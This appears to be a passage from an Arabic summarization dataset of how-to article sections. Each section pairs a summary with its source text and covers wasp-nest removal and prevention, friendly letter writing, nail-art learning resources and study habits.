summary: تأكد من عدم وجود حساسية لديك من لسع الدبابير. تواصل مع هيئات مكافحة ناقلات الأمراض. اتصل بخبير إبادة. فكر - أخيرًا - في ترك العش في سلام. حاول أن تعرف لأي نوع من الدبابير ينتمي العش. قم بارتداء ملابس واقية. لا تستخدم السلم أبدًا للوصول إلى عش دبابير مرتفع. إذا كنت ستستخدم المبيدات الحشرية، فتأكد من عدم وجود أطفال أو حيوانات أليفة في الجوار. تعامل مع أعشاش الدبابير في أبكر وقت ممكن من العام. قم بالتخلص من العش في الليل. ضع خطة للهروب.

document: إذا لم تكن متأكدًا من وجود الحساسية، فمن الأفضل أن تذهب لإجراء اختبار للحساسية قبل أن تحاول التعامل مع عش الدبابير.  إذا أظهر الاختبار عدم وجود حساسية، فيمكنك أن تواصل خطتك في التخلص من العش بنفسك. لكن إن ثبت وجود الحساسية، فسيصبح من الضروري طلب المساعدة من الآخرين أو الاستعانة بإحدى شركات التخلص من الحشرات. فقد تكون في التعرض للسع خطورة كبيرة على صحتك. بالرغم من أن تلك الهيئات ليست موجودة في كل مكان، إلا أنها تتعامل مع الحشرات والحيوانات الناقلة للأمراض أو لديها احتمالية خطورة عالية، والميزة أن الخبراء المشتغلين بها يستطيعون مساعدتك في التعرف على مثل تلك الحشرات وإفادتك بكيفية التعامل معها أو حتى يخلصونك من الدبابير تمامًا. ابحث في شبكة الإنترنت عن "مكافحة ناقلات الأمراض" في محيط منطقتك للحصول على أرقام التواصل وطلب المساعدة. في أغلب الحالات، من الأفضل لك أن تترك أمر التخلص من العش للخبراء. إذا لم تكن هناك هيئة للمكافحة أو أنهم غير قادرون على التوصل إليك، استعن بخبير إبادة خاصة إذا كان لديك نوعية الدبابير المعششة في الأرض.  إذا كان العش في مكان صعب الوصول إليه مقل تجويف الحائط أو علية المنزل أو تحت البلاط، فبالقطع ستحتاج مساعدة خبير. من الحالات التي ينصح فيها بالاتصال بخبير إبادة هي وجود حساسية للدغات الدبابير فقد تشكل خطورة عليك. حتى لو لم تكن تعاني من الحساسية، فالحقيقة أن الاقتراب من عش الدبابير هو أمر بالغ الخطورة وكذلك إذا ساءت الأمور. إذا كان العش يقع في مكان بعيد عن منزلك ولا يشكل خطورة عليك، فربما كان الأفضل أن تتركه كما هو، بالذات إذا كان ينتمي لأحد أنواع الدبابير الأقل عدوانية كدبابير الورق. وتذكر أن الدبابير هي جزء من النظام البيئي الطبيعي، وهي تساعد في تلقيح النباتات والقضاء على آفات الزراعات كاليرقات الضارة. قبل التعامل مع العش، يفضَّل أن تعرف نوع الدبابير الذي ستواجهه، فهذا سيعطيك معلومات هامة عن أفضل الطرق للتخلص منها. هناك ثلاثة أنواع رئيسية من الدبابير التي يحتمل أنك تعاني منها، وهي:   دبابير الورق: تتميز بطول أجسادها وأرجلها بالنسبة للأنواع الأخرى من الدبابير، وهي تقوم ببناء أعشاش كبيرة مكشوفة ظاهرة النخاريب (الفتحات). وتشبه هذه الأعشاش المظلات المقلوبة وتوجد عادةً في الأماكن المستترة مثل أفاريز المنازل أو الأطراف المفتوحة للمواسير. ولا تهاجم دبابير الورق في المعتاد إلا في حالة شعورها بالتهديد، لكن لسعاتها مؤلمة وخطيرة.   دبابير المعطف الأصفر: وتتميز بقرون استشعارها السميكة السوداء وبأرجلها القصيرة نسبيًا، وتقوم ببناء أعشاش تشبه الورق وتفضل الأماكن المغلقة مثل الفتحات في الحوائط أو الفجوات في الأرض. وهي دبابير شديدة العدوانية، تقوم باللدغ أكثر من مرة وتهاجم في أسراب.  الزنابير: وهي أكبر أنواع الدبابير التي تعيش في تجمعات. ويعتبر الزنبور عريض الوجه أشهر الأنواع في قارة أمريكا الشمالية، ويتميز بوجود علامات بيضاء على رأسه وصدره. أما الزنبور الأوروبي فيتميز بلونه البني مع علامات برتقالية. وتقوم الزنابير ببناء أعشاش ورقية وتفضل عادةً جذوع الأشجار وفجوات الأسوار. من المهم للغاية أن ترتدي ملابسًا واقية أثناء محاولة التخلص من عش دبابير، للوقاية من التعرض للسع. فلسعة الدبور مؤلمة حقًا، حتى لو لم تكن تعاني من الحساسية منها!  قم بارتداء بنطلون جينز طويل مع جوارب وأحذية طويلة الرقبة وقفازات ومعطف بغطاء رأس. يجب عليك كذلك أن تغطي نصف وجهك الأسفل بوشاح ملفوف، وعينيك بنظارات واقية. إذا كنت ستقوم برش مبيد حشري، فمن الأفضل أن ترتدي ملابس قديمة تستطيع الاستغناء عنها بعد الرش. فالمبيدات تترك أثرًا في الملابس. إذا حدث وتعرضت للسع، فاتبع تعليمات العلاج من لسعات الدبابير. إذا كان العش في مكان مرتفع كإفريز منزل من طابقين أو شجرة عالية، لا تحاول استخدام السلم للوصول إليه.  فإذا كنت واقفًا على السلم وهاجمك سرب من الدبابير، فمن الوارد أن تسقط وتؤذي نفسك. في هذه الحالة، من الأفضل الاستعانة بخدمات إحدى شركات التخلص من الحشرات، أو الاستعانة بوسيلة أخرى مثل طريقة الدخان (سيأتي الحديث عنها هنا لاحقًا) للتخلص من الدبابير. لا تحاول التخلص من العش بنفسك إلا إذا كان في متناول يديك. إذا قررت استخدام مبيد حشري (رشاش أو مسحوق) للقضاء على الدبابير، فمن المهم للغاية أن تتأكد من خلو المنطقة، خصوصًا من الأطفال والحيوانات الأليفة، لمدة 24 ساعة على الأقل. فالمبيدات التي تستخدم لقتل الدبابير تكون شديدة السمية. ومن المهم كذلك أن تقوم بالتخلص من الدبابير الميتة على الأرض قرب العش، فهناك احتمال أن يقوم كلبك أو قطك الأليف - أوي أي حيوان آخر - بابتلاع أحدها والإصابة بالتسمم. التوقيت الذي تقرر فيه التخلص من العش هو عامل مهم له أثر كبير على نسبة نجاحك في مهمتك. ولفهم تلك النقطة عليك أن تعرف أسلوب حياة هذه الدبابير الاجتماعية.  في بواكير الربيع، تختار الملكة (التي تقضي الشتاء في سبات) بقعة للعش وتقوم ببناء مأوى صغير للجيل الأول من الدبابير العاملة. وحينما تخرج الدبابير العاملة إلى الحياة، تبدأ في العمل بلا هوادة من أجل توسيع العش وحماية الملكة. وتستمر المستعمرة في النمو في الربيع والصيف حتى تصل إلى أوجها بحلول آخر شهر أغسطس. في تلك المرحلة تضم مستعمرة لدبابير المعطف الأصفر ما يقرب من ألفي دبور. بالإضافة إلى ذلك، فإن أواخر الصيف هي ميعاد خروج الجيل الأخير من الدبابير إلى الحياة. وهذا الجيل هو الذي سيضم ملكة العام المقبل والذكور أيضًا. لذا فالمستعمرة تصبح في تلك الفترة في أتم الاستعداد للدفاع الشرس ضد أية تهديدات للعش. ولهذا، فإن التعامل مع العش في أبكر وقت ممكن من العام هو الأفضل. حينما تكون المستعمرة أصغر حجمًا وأقل عدوانية. بالإضافة إلى حقيقة أنك إذا تخلصت من الملكة عندئذٍ، فلن تحتاج إلى القلق بشأن تكوين عش جديد في هذا العام.  لكن إذا لم تعثر على العش حتى أواخر الصيف أو بشائر الخريف، فلن يكون ضروريًا على الأرجح (حسب موقعك) أن تحاول التخلص من العش، فبرودة الليل ستكون كفيلة بالقضاء على الدبابير، وستستطيع حينها تدمير العش نفسه في الشتاء بكل بساطة. إذا كنت ستقوم بالتعامل مع العش بنفسك، فمن الأفضل أن تقوم بذلك في الليل. ففي الليل تصبح الدبابير أقل نشاطًا وأكثر بطئًا وأقل عدوانية.  لا تستخدم الكشافات العادية في الإضاءة، فهي ستقوم بجذب الدبابير إليك. استخدام كشاف يضيء بدرجة من اللون الأحمر سيكون أكثر أمنًا.  ويمكنك أيضًا أن تتعامل مع العش في أول ساعات الصباح قبل نشاط الدبابير، لتستفيد عندئذٍ من الإضاءة الطبيعية. من المفيد أن تكون هناك خطة للانسحاب قبل أن تبدأ في تنفيذ هجومك. فعندما تهاجم العش، ستخرج الدبابير إليك أسرابًا. ولهذا عليك أن تكون مستعدًا للهروب.  خطط لأن يكون هناك مكان قريب تستطيع أن تستتر فيه من الهجوم المضاد. وتأكد كذلك من خلو طريقك من العوائق كألعاب الأطفال أو أدوات الزراعة التي قد تتعثر بسببها أثناء هروبك.

english_section_name: Planning and Safety

summary: استخدم رشاش المبيد الحشري. استخدم مسحوق المبيد الحشري. استخدم صابون غسل الأطباق. استخدم الدخان. استخدم الماء.

document: قم بشراء مبيد حشري رشاش مخصص لقتل الدبابير. المبيدات المخصصة لقتل الحشرات الأصغر كالنمل قد لا تكون بالقوة الكافية لقتل الدبابير.  بعد ارتداء الملابس الواقية واتباع تعليمات السلامة المذكورة أعلاه، قم برش الفتحة السفلية للعش بالمبيد لمدة 10 أو 15 ثانية (أو للمدة المذكورة في تعليمات استخدام المبيد) ثم قم على الفور بترك المكان. اترك المبيد ليؤدي مفعوله طوال الليل وراقب العش من بعيد في اليوم التالي، وإذا لاحظت استمرار نشاط الدبابير فكرر الرش مرة أخرى. بعد التأكد من قتل معظم الدبابير، سيصبح من الآمن أن تقترب لتُسقِط العش باستخدام عصا طويلة. استخدم العصا أيضًا لتحطيم العش وقم برش الحُطام بكميات كبيرة من المبيد. تخلص على الفور من حطام العش والدبابير الميتة. حينما يتعلق الأمر بالأعشاش الأرضية (كأعشاش دبابير المعطف الأصفر) فمسحوق المبيد يصبح أكثر فعالية من الرشاش الذي لن يستطيع في تلك الحالة التغلغل إلى داخل العش.  قم بشراء نوع جيد من مسحوق المبيد، وضع ربع كوب منه في كوب بلاستيكي يسهل التخلص منه. قم بوضع كمية كافية من مسحوق المبيد فوق فتحة العش في الليل أو في الصباح الباكر. تذكر ارتداء الملابس الواقية واترك المكان فور الانتهاء من مهمتك. لا تقم بتغطية العش أو سد مدخله. اترك للدبابير حرية الدخول إلى العش والخروج منه، فعند دخولها وخروجها ستحمل المسحوق في أرجلها إلى قلب العش، وإلى الدبابير الأخرى. يفترض أن يقوم المسحوق بقتل الدبابير خلال يوم أو يومين. إذا لم يحدث ذلك فكرر المحاولة. إذا لم تكن تريد استخدام المبيدات الحشرية، فاعلم أن خليطًا من الماء وصابون غسل الأطباق يمكن أن يكون فعالًا لقتل الدبابير، فهو يكسو أجنحتهم ويمنعهم من الطيران ويغرقهم في نهاية الأمر.  قم بتحضير محلول الصابون بإضافة نحو ربع كوب من الصابون إلى لتر من الماء الساخن. إذا كان العش معلقًا، فقم بتعبئة محلول الصابون في بخاخة لرش فتحة العش لمدة 10 أو 15 ثانية. وإذا كان العش أرضيًا، فقم ببساطة بصب كمية مناسبة من المحلول داخل فتحة العش، ثم اترك المكان على الفور. على الرغم من فعالية محلول الصابون، إلا إنك ستحتاج غالبًا لتكرار العملية عدة مرات، فالمحلول يجب أن يلامس كل دبور ليقتله. هناك طريقة أخرى إذا كان العش معلقًا ولم تكن تريد استخدام المبيدات الحشرية، وهي استخدام الدخان.  قم بإشعال النار تحت العش مباشرة. سيصعد الدخان إلى الأعلى وينفذ إلى العش ويخنق الدبابير ويدفعها لهجر العش. دع الدخان يتصاعد لساعة أو ساعتين، وحينما تتأكد من خلو العش من الحياة يمكنك أن تسقطه أرضًا باستخدام عصا، وتتخلص منه. لكن من الأفضل أن تجهز زجاجة من محلول الصابون، في حالة بقاء بعض الدبابير على قيد الحياة. ضع في اعتبارك أن هذه الطريقة لن تكون مناسبة إلا في حالة الأعشاش المعلقة كالتي تتدلى من فروع الأشجار. وليست بالطبع مناسبة مع الأعشاش في مداخل البيت أو على إفريزه أو في أي مكان قريب من بيتك. فالنار قد تمتد إلى بيتك وتحرقه. تستطيع إغراق عش معلق بالكامل في الهواء باستخدام دلو من الماء وكيس قماشي كبير.  ضع دلوًا من الماء - وأنت ترتدي ملابسك الواقية - تحت العش، وأحضر كيسًا قماشيًا كبيرًا خاليًا من الثقوب والفتحات. أدخِل العش بالكامل - بسرعة وحذر - في الكيس وأغلق فوهته بإحكام باستخدام خيط، ثم قم بجذب العش من غصن الشجرة. اغمر الكيس - والعش في داخله - في دلو الماء، وضع فوق الكيس حجرًا ثقيلًا لتبقيه تحت الماء. اترك الكيس تحت الماء طوال الليل، وبحلول الصباح ستكون الدبابير قد غرقت كلها. لاحظ أن هذه الطريقة تستدعي الاقتراب الشديد من الدبابير، فهي لا تناسب إلا أصحاب الثبات الجسدي والانفعالي!

english_section_name: Destroying the Nest

summary: قم بسد المنافذ. قم بإسقاط الأعشاش القديمة الخالية في الشتاء. تأكد من إغلاق صناديق القمامة جيدًا. انتبه لأشجار الفاكهة. قم بتعليق أعشاش وهمية.

document: افحص منزلك من الخارج - في فصل الشتاء - فحصًا دقيقًا للكشف عن النقاط التي تستطيع الدبابير استغلالها كألواح الجدران السائبة أو فتحات التهوية غير المحكمة أو الشقوق حول أطر النوافذ والأبواب، فهذه كلها مواضع مثالية لإقامة عش دبابير، وإحكام سدها سيمنع الدبابير من العودة في الربيع. بالرغم من أن الدبابير لا تعود أبدًا إلى عش مستعمل، غير أن هناك أنواعًا منها تقوم ببناء أعشاشها الجديدة فوق أطلال الأعشاش القديمة. لذا فمن الأفضل التخلص من هياكل الأعشاش المهجورة في الشتاء قبل أن تأتي الملكة لتحاول إعادة احتلالها في الربيع. رائحة بواقي الطعام تجتذب الدبابير، لذا فمن المهم أن تحكم إغلاق صناديق القمامة. يجب عليك كذلك أن تقوم بتنظيف الصناديق بين الحين والآخر بغسلها بالماء والمطهرات، لتتخلص من أية بقايا طعام عالقة يمكنها أن تجذب الدبابير. أشجار الفاكهة - وخصوصًا ثمارها التي تسقط على الأرض وتتعفن - هي مصدر جذب شديد للدبابير والنحل. لذا فمن الأفضل أن تفكر جيدًا قبل أن تقرر زراعة أشجار الفاكهة في مكان قريب للغاية من منزلك. وإذا كانت لديك أشجار فاكهة بالفعل، فمن الأفضل أن تقوم بانتظام بجني الثمار الطازجة والتقاط الثمار التي تسقط على الأرض للتخلص منها قبل أن تصبح مصدر جذب للدبابير. الدبابير حشرات تهتم للغاية بمناطق نفوذها، ولن تقوم مستعمرة ببناء عش لها في مكان قريب من عش مستعمرة أخرى. لذا فتعليق عش مزيف أو اثنين هي فكرة جيدة لإبعاد الدبابير. يمكنك شراء الأعشاش المزيفة من المحلات المتخصصة (والكثير منها يأتي بتصميمات أنيقة للغاية) لكن باستطاعتك أيضًا أن تقوم بتعليق كيس ورقي بني اللون وسيأتي بنتائج مماثلة!

english_section_name: Preventing the Wasps from Returning


summary: تاريخ الخطاب. اكتب التحية.

document: عادةً ما يُكتَب التاريخ في الركن الأيسر العلوي من الورقة؛ وترجع أهمية تأريخ الخطاب إلى أن العديد من الناس يفضلون الاحتفاظ بالخطابات التي استلموها ومعرفة الفترة الزمنية التي تلقوا خلالها هذا الخطاب لاستعادة الأيام الخوالي في ذاكرتهم. لذلك احرص على كتابة التاريخ بالتفصيل مثل "7 مايو 2013"، أو يمكنك الاكتفاء بالأرقام المجردة للإشارة إلى اليوم والشهر والسنة. إن التحية هي الجزء الأساسي من افتتاحية الخطاب الودي؛ حيث تبدأ الخطاب باسم الصديق المرسل إليه مثل "عزيزتي سلمى" أو "مرحبًا أحمد". ولكن عليك أن تضع في الاعتبار طبيعة العلاقة التي تربطك بالمرسل إليه، بالإضافة إلى افتتاحياتك المفضلة التي تميل إلى كتابتها، لذلك حاول أن تختار التحية وفقًا للخيارات التالية.  إذا كنت تفضل استخدام أسلوب أقرب إلى الأسلوب الرسمي فيُفَضَّل استخدام "عزيزي"، وقد يبدو هذا النداء تقليديًا إلى حدٍ ما ولكنه يعبر عن اهتمامك بالمرسل إليه، وبالتالي فهي تحية مثالية ومحايدة حيث أنها مناسبة للخطاب المرسل إلى صديقك الأقرب، كما أنها تناسب -بنفس القدر- الأشخاص الذين تعرفت عليهم مؤخرًا ولم تنضج علاقتك بهم حتى الآن. يمكنك أيضًا أن تبدأ تحيتك بنداء أكثر حميمية مثل "أهلا + الاسم" أو "مرحبًا + الاسم" حيث تشير هذه التحية إلى رفع الكلفة وقوة العلاقة التي تربطك بالمرسل إليه، وغالبًا ما تناسب الأصدقاء المقربين أو الأقارب، ولكن إياك أن تستخدم مثل هذه التحية عند كتابة خطاب تجاري لأنها افتتاحية غير رسمية للغاية. يمكنك استخدام تحيات شخصية أكثر تحررًا وحميمية وذلك عندما تكون علاقتك بالمرسل إليه قوية وحميمية للغاية مثل "حبيبي + الاسم" أو "جميلتي + الاسم". احرص على وضع فاصلة بعد التحية وأن تبدأ متن الخطاب بدءًا من السطر التالي.

english_section_name: Beginning the Letter

summary: اكتب الخاتمة. اكتب العبارة الختامية. استخدام الحاشية.

document: عندما تكتب الفقرة الأخيرة من الخطاب حاول عن تعرب عن أمنياتك بالسعادة والخير لصديقك. وعادة ما تكون الفقرة الأخيرة ذات طابع أكثر مرحًا من المتن، إلا أن محتوى الخاتمة يجب أن يكون ذات صلة بالشعور العام الذي يعبر عنه الخطاب بأكمله. وحاول أن تختم خطابك بملحوظة أو إشارة من شأنها أن تجعل صديقك سعيدًا ومفعمًا بالمشاعر الإيجابية.   في الخاتمة، حاول أن تكرر الإشارة إلى الغرض الرئيسي من الخطاب. على سبيل المثال، إذا كنت تدعو صديقك إلى حضور حفلة اكتب "أتمنى أن تأتي!"، وإذا أردت أن تتمنى له عيدًا سعيدًا اكتب "تمنياتي لك بعيد شكر رائع" أو أي شيء من هذا القبيل. حاول أن تحُث صديقك على كتابة الرد إذا رغبت في ذلك؛ وذلك عن طريق كتابة "أتمنى أن اسمع أخبارك قريبًا" أو "من فضلك اكتب لي". يجب أن تلائم العبارة الختامية المزاج العام للخطاب، مثلها مثل التحية، حيث تتباين درجتها ما بين العبارات التقليدية والعبارات المرحة غير الرسمية؛ لأنها تشير أيضًا إلى طبيعة علاقتك بالمرسل إليه. ثم اتبع العبارة الختامية بتوقيع اسمك.  إذا أردت أن تكتب خاتمة رسمية يمكنك أن تكتب "تفضلوا بقبول فائق الاحترام" أو "مع أطيب التحيات" أو "مع أطيب التمنيات". إذا كان خطابك غير رسمي يمكنك أن تكتب "مع تحيات صديقك المخلص" أو "اعتن بنفسك" أو "تحياتي". يمكنك كتابة خاتمة أكثر حميمية مثل "خالص حبي" أو "أحبك كثيرًا" أو "كم أشتاق إليك". غالبًا ما تُستخدَم الحاشية في كتابة بعض الملاحظات الجانبية التي لا تستحق أن تُذكَر في فقرات متن الخطاب. يمكنك أيضًا أن تكتب فيها دعابة ما أو لا تكتبها أصلاً. على أي حال، احرص على أن يلائم محتواها المزاج العام للخطاب وأن تُشعر المرسل إليه بالمشاعر والمعاني التي ترغب في توصيلها إليه.

english_section_name: Closing the Letter

summary: ابدأ ببعض المجاملات والمداعبات. ارو أخبارك وتفاصيل حياتك الشخصية. تناول الموضوعات التي يهتم بها صديقك.

document: عادةً ما تتسم الفقرة الأولى من الخطاب الودي بالعبارات الطريفة والودية؛ حيث يساعد ذلك على تحديد المزاج العام للخطاب والتعبير على مدى الحب والتقدير الذي يحمله الخطاب للمرسل إليه، ويساعد ذلك على تهيئة القاريء (المرسل إليه) إلى أن هذا الخطاب ودي وليس له علاقة بالعمل أو الشؤون الجادة. لذلك حاول أن تستغل السطر الأول في تضمين وكتابة الدعابات والتحيات والإشارة إلى الظواهر المميزة للطقس في هذا الوقت من العام.  "غالبًا ما تكون الجمل الشائعة هي "كيف حالك؟؛ حيث يساعد هذا السؤال على جعل الخطاب أقرب إلى المحادثات الودية الطويلة، وإذا كنت ترغب أن تتلقى الرد على خطابك، لا تتردد في إضافة مثل هذه الأسئلة الودية على مدار الخطاب. في الفقرة الأولى من متن الخطاب حاول أن تستعلم عن أخبار المرسل إليه والسؤال عن أحواله وشؤونه الخاصة مثل "أتمنى أن تكون فريدة الصغيرة قد استمتعت بأوقاتها في رياض الأطفال، أكاد لا أصدق أنها صارت كبيرة!" حاول أن تشير إلى السمات العامة للموسم الحالي من العام؛ حيث تُعَد هذه الحيلة شائعة في الخطابات الودية. إن هذه الإشارات الموجزة تكون بمثابة العبارات القصيرة التي يتبادلها طرفا الحديث قبل الخوض في تفاصيل المحادثة. ومن أمثلة هذه العبارات "أتمنى أنك قد قضيت أوقاتًا خريفية ممتعة" أو "إن أشجار الحديقة العامة تبدو أكثر إشراقًا وزهوة من أي وقت مضى، اعتقد أننا اجتزنا أيام الشتاء الباردة. الآن عليك البدء في الموضوع الرئيسي للخطاب وتحقيق الغرض منه، لذلك عليك أن تكتب السبب الذي دفعك إلى كتابة هذا الخطاب، وأن تعبر عن مدى افتقادك للمرسل إليه أو تشكره على المساعدة التي قدمها لك، كُن واضحًا ومباشرًا لتوصيل مضمون خطابك بشكل فعال.  اكتب عن الوقائع التي حدثت في حياتك، ومهما كانت طبيعة هذه الوقائع والحوادث؛ فإن هذه التفاصيل ستجعل المرسل إليه مقدرًا لخطابك وشاعرًا بمدى قوة العلاقة التي تربطكما معًا (وبالتالي سيكون الخطاب أكثر فعالية). أخبر المرسل إليه عن الحوادث والوقائع التي شهدتها، وما المشاعر والانطباعات التي شعرت بها، وما هي خططك للمستقبل. لا ترسم صورة باهتة وغير واضحة لحياتك؛ لأن هذا قد يجهض الغرض الأساسي من خطابك الودي. وينبغي عليك أيضًا تجنُّب كتابة آخر تطورات الأحداث بأسلوب أقرب إلى النشرة الإخبارية؛ حيث يؤدي ذلك إلى ممل المرسل إليه ودفعه إلى القفز إلى نهاية الخطاب لمعرفة خلاصة الموضوع، وبالتالي لا تحاول أن تسترسل في سرد كافة تفاصيل الأحداث التي وقعت لك منذ آخر خطاب أرسلته له، ولكن حاول أن تُصَوِّر حياتك بشكل واقعي وغير ممل. ما هي آخر الموضوعات التي حدثك فيها صديقك؟ هل صديقك على وشك الانفصال عن خطيبته؟ ما هي آخر أخبار فريق كرة القدم الذي يشجعه صديقك؟ حاول أن تطرح الأسئلة والاستفسارات التي تنم عن اهتمامك بحياة صديقك.  يمكنك أيضًا مناقشة المواضيع ذات الاهتمام المشترك، وحاول أن تُعرب عن أرائك فيما يتعلق بالشؤون السياسية أو الأحداث الجارية أو أي مواضيع شخصية مشتركة بينكما. يمكنك أن تقترح عليه مشاهدة الأفلام التي رأيتها وأعجبتك أو تُرَشَّح له الكتب التي قرأتها. ومن الأفضل، بشكل عام، مشاركة المعلومات الجيدة في الخطابات.

english_section_name: Drafting the Body


summary: خذي صفوفًا في صالون الأظافر المحلي. اقرئي كتابًا عن تصاميم الأظافر. ابحثي على الإنترنت. شاهدي مقاطع فيديو على مواقع مثل يوتيوب.

document: يمكن أن تحسن عدة ساعات قليلة مع معلم متخصص  مهاراتك بشكل أكثر فعالية من أعوام الممارسة بمفردك. قد تتمكني من إيجاد كتاب في مكتبتك المحلية أو متجر الكتب أو يمكنك شراء شيء عبر الإنترنت. يقدم الإنترنت عدد كبير من المصادر، خاصًة إذا كنت تبحثين عن أفكار جديدة. بالإضافة إلى البحث عن مواقع عليها صور لتصاميم جديدة، يمكنك إيجاد منتديات لناس يحبون الرسم على الأظافر يتحدثون عن التقنيات وتجارب التعلم. ستريك تلك المقاطع خطوات مفصلة لعدة تصاميم مختلفة.

english_section_name: Finding Inspiration


summary: اسأل المعلمين عما يتطلبه الوصول لأن تصبح الأول على الفصل. ابدأ المذاكرة قبل الامتحانات الفعلية بثلاثة أسابيع. اختبر نفسك لتقيِّم مستواك. تخلّص مما قد يشتت انتباهك. اجعل جلسات المذاكرة قصيرة.

document: يختلف نظام التقييم وتحديد الطلاب الأوائل من مدرسة لأخرى ومن نظام تعليمي إلى آخر، لذلك ينبغي أن تسأل المعلمين عن الدرجات التي ينبغي أن تحصل عليها في الامتحانات والمشروعات الدراسية كي تصبح الأول على الفصل. كما يمكنك أن تسأل الطلاب الأوائل ممن سبقوك في الأعوام الماضية عن الدرجات التي كانوا ينالونها وما الي ينبغي عليك فعله لتصبح الأول على الفصل. لا تؤجل مذاكرة ما تعرف أنك بحاجة لمذاكرته من أجل الحصول على الدرجات النهائية في الامتحانات، الأمر الذي يستحيل عليك إتقان مذاكرته في الدقائق الأخيرة قبل الامتحان. لذلك يجب أن تبدأ المذاكرة من أجل الامتحانات الفعلية قبل موعدها بثلاثة أسابيع حتى تستطيع إنجاز الكم المطلوب منك مذاكرته خلال جلسات مذاكرة قصيرة ومنتظمة. خطط لتقسيم الأجزاء التي ينبغي عليك مذاكرتها على جلسات المذاكرة، واحرص على تخصيص بعض الوقت للقيام بالواجبات المنزلية والمهام الدراسية الأخرى.  يساعد التخطيط المسبق للمذاكرة على تقليص الشعور بالتوتر أمام الدروس التي ينبغي عليك مذاكرتها حتى تستطيع التركيز بشكل أفضل. قم بإجابة نماذج الامتحانات أو امتحانات الأعوام الماضية لتختبر مستواك في المذاكرة، كما ينبغي أن تضبط ساعتك على نفس الوقت الذي يستغرقه كل امتحان عندما يتم في المدرسة ثم تصحح إجابتك بعد انتهاء الوقت. إن كانت درجاتك لا ترقى لأن تصبح الأول على الفصل فأضِف المزيد من ساعات المذاكرة إلى جدولك اليومي كي تحسِّن من أدائك.  جرب حل نماذج الامتحانات في الكتب الخارجية أو عبر الإنترنت أو اطلب من معلمك أن يجلب لك امتحان العام الماضي في مادته الدراسية. يمكن أن يتسبب كلٌ من الهاتف المحمول وجهاز الكمبيوتر والتلفاز والراديو في تشتيت انتباهك أثناء جلسات المذاكرة، لذلك من الأفضل أن تذاكر من الكتب وباستخدام الورقة والقلم بدلًا من المذاكرة باستخدام جهاز الكمبيوتر الذي قد يغويك لاستخدامه في تصفح الإنترنت أو تفقُّد حساباتك على مواقع التواصل الاجتماعي. إن أردت التركيز في المذاكرة حقًا فأبعد الهاتف المحمول عن متناول يدك وأطفئ التلفاز والراديو.   إن كان عليك استخدام الكمبيوتر أثناء المذاكرة فقم بتحميل أحد البرامج التي تمنع فتح المواقع التي قد تشتت انتباهك. إن كان بيتك لا يشجع على المذاكرة وبه الكثير من الأشخاص والأشياء التي يمكن أن تشتت انتباهك فاذهب للمكتبة القريبة منك لتذاكر في هدوء. قد يؤدي جلوسك إلى المذاكرة لفترات طويلة إلى أن تفقد طاقتك وتركيزك، لذلك حاول أن تجعل جلسات المذاكرة قصيرة من نصف ساعة إلى ساعة وأن تأخذ استراحة قصيرة لتستعيد طاقتك بين كل جلسة مذاكرة والأخرى، وستستطيع التركيز بشكل أفضل بعد الاسترخاء لعشر أو خمس عشرة دقيقة، كما ستبدو لك المذاكرة أقل إرهاقًا.  استغل الاستراحة لتتناول تصبيرة ذات قيمة غذائية عالية مثل ثمرة تفاح أو كوب زبادي. شاهد مقطع فيديو مضحك على يوتيوب أو ثرثر قليلًا مع أحد أصدقائك لترفع من معنوياتك قبل العودة إلى الفصل.

english_section_name: Studying Efficiently

summary: اجلس في الصفوف الأمامية بالفصل. اكتب ملاحظات تفصيلية. شارك في نقاشات الفصل.

document: قد يشتت زملاؤك الذين يجلسون أمامك انتباهك ويجعلونك تشعر بصعوبة في التركيز مع المعلم أُثناء شرح الدرس، لذلك اختر أحد المقاعد بالصف الأول حيث تستطيع الإنصات والتركيز على كل كلمة يقولها معلميك. كذلك فإن جلوسك في الصفوف الأمامية سيجعلك في مرمى بصر المعلمين حيث سيلاحظون انخراطك في الدرس ومحاولاتك للإجابة عن الأسئلة، مما قد يؤدي إلى زيادة درجاتك. هذا بالإضافة إلى أن جلوسك في الصف الأمامي سيُصعِّب عليك النظر في هاتفك أو قراءة شيء لا يتعلق بموضوع الدرس أو حتى أن تغفو أو يشرد ذهنك. حاول الوصول لأقصى فهم ممكن داخل الفصل بكتابة ملاحظاتك أثناء شرح المعلم، وبدلًا من أن تكتب كل كلمة يقولها المعلم أنصت جيدًا لتختار النقاط الهامة التي تدونها، فاكتب جملًا قصيرة وبسيطة تتضمن الكلمات المفتاحية التي تضمّنها الدرس. يُعد الاشتراك في النقاشات التي يبدأها المعلمون والإجابة عن الأسئلة شفهيًا داخل الفصل طريقة رائعة كي تُظهر للمعلمين أنك تذاكر دروسك جيدًا وتتابع كل ما يدور في الفصل، كما ينبغي أن تقرأ دروسك مسبقًا وتعدّ النقاط الهامة والأسئلة المتعلقة بها لتتناقش فيها مع معلمك وزملائك بالفصل. تعامل مع آراء زملائك باحترام سواء وافقوك الرأي أو خالفوه.

english_section_name: Participating Well in Class

summary: ضع جدولًا خاصًا بالواجبات المنزلية. انتهِ من قراءة الموضوعات التي ينبغي عليك قراءتها في الموعد المحدد. تنقَّل بين المواد الدراسية عندما تفقد تركيزك. تجنب تسليم الواجبات المنزلية متأخرًا.

document: قد يكون التنقل بين المواد الدراسية أمرًا صعبًا لأنك قد تنسى بعض الواجبات أو المهام لهذه المادة أو تلك، لذلك يجب أن تظل منظمًا قدر الإمكان لتتابع مواعيد تسليم الواجبات وما شابهها والقيام بذلك في الوقت المناسب. بإمكانك تحميل تطبيق على هاتفك الذكي لتنظيم يومك ومهامك أو تعليق التقويم على الحائط ووضع علامات عند مواعيد التسليم أو الاعتماد على كلتا الطريقتين حتى لا تنسى شيئًا.  جرب أن تلون مربعات التقويم لديك بعدة ألوان مختلفة حيث يشير كل لون لمدى أولوية المهمة الدراسية أو مدى صعوبتها. اتبع الخطة الزمنية للمادة الدراسية أو المنهج الذي تدرسه حتى تنجز جميع مهامك في الأوقات المحددة، الأمر الذي سيساعدك كثيرًا على المشاركة في النقاشات التي تدور في الفصل ويبهر معلميك، كما أنك ستكون حينها مستعدًا لأي امتحان مفاجئ. إن كان لديك عدة واجبات أو مشروعات في عدة مواد دراسية فتنقَّل بينها عندما تفقد تركيزك، وذلك لأن بدء مذاكرة موضوع جديد قد تعيد تنشيط ذهنك وتضمن لك ألا تضيّع وقت المذاكرة الثمين. بإمكانك التنقل بين المواد الدراسية كما يحلو لك طالما تحرص على تسليم كل شيء في موعده. قد يتسبب التأخير في تسليم واجباتك المنزلية في إنقاص درجاتك بشكل عام، لذلك احرص على تحديد مواعيد تسليم الواجبات والمشروعات المدرسية في تقويم حتى تسلمها جميعًا في مواعيدها. أما إن كنت ستتغيب في أحد 